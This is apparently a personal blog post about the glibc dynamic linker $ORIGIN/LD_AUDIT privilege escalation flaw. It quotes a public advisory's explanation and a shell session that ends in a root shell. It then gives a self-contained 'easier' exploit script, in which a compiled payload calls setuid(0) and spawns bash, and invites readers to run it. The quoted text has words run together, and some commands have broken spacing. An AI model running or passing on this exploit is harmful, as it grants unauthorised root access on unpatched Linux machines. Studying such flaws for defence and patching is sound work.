Today I've find something fresh while having the meeting class on net. I've never learned that the Linux system will be unreasonably unsafe since today. Consequently I should record it here.
Okay, let's begin right though.
Nearly every distribution of Linux Operating System have this problem. And it can be used to elevate the privilege as the problem is in the kernel. Do not be so surprise. Because it's not the big shock compared to the next. The biggest shock is the reason for the loophole is design error. So it's born with it and can hardly changed.
Do my computer(Linux OS) have this problem? Possibly yes. You can use the method below to check it.
/* *********************************************************************************************************************** */
/* Note: the method is not written in any language. But you can understand it if you are using the Linux system(not using the Linux for desktop).*/
/* ***************************theory for the loophole(from the website "http://seclists.org/fulldisclosure/2010/Oct/257" *********************** */
The dynamic linker (or dynamic loader) is responsible forthe runtime linking of
dynamically linked programs. ld.so operates in twosecurity modes, a permissive
mode that allows a high degree of control over the loadoperation, and a secure
mode (libc_enable_secure) intended to prevent users frominterfering with the
loading of privileged executables.
$ORIGIN is an ELF substitution sequence representing thelocation of the
executable being loaded in the filesystem hierarchy. Theintention is to allow
executables to specify a search path for libraries thatis relative to their
location, to simplify packaging without spamming thestandard search paths with
single-use libraries.
Note that despite the confusing naming convention,$ORIGIN is specified in a
DT_RPATH or DT_RUNPATH dynamic tag inside the executableitself, not via the
environment (developers would normally use the -rpath ldparameter, or
-Wl,-rpath,$ORIGIN via the compiler driver).
The ELF specification suggests that $ORIGIN be ignoredfor SUID and SGID
binaries,
/* the theory ends */
/* the method(from the website: http://seclists.org/fulldisclosure/2010/Oct/257)*/
The exploit flow forthis alternative attack is a little more complicated, but
we can still usethe shell to do it (this session is from an FC13 system,
output cleaned upfor clarity).
# Almost fill up apipe with junk, then dup2() it to stderr using redirection.
$ (head -c 65534/dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target2>&1) | (sleep 1h; cat) &
[1] 26926
# Now ld.so isblocked on write() in the background trying to say "invalid
# debugoption", so we are free to manipulate the filesystem.
$ rm -rf/tmp/exploit/
# Put exploitpayload in place.
$ gcc -w -fPIC-shared -o /tmp/exploit payload.c
# Clear the pipeby killing sleep, letting cat drain the contents. This will
# unblock thetarget, allowing it to continue.
$ pkill -n -t$(tty | sed 's#/dev/##') sleep
-bash: line 99:26929 Terminated sleep 1h
# And now we cantake control of a root shell :-)
$ fg
sh-4.1# id
uid=0(root)gid=500(taviso)
/* method ends */
/* And here is an easier way to test. Just run the script and the command "whoami". The result will certainly surprise you! */
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
cat >> /tmp/payload.c <<EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
/* *********************************************************************************************************************** */
By the way, the keyword for you to search the method to elevation method is "glibc dynamic linker $origin".
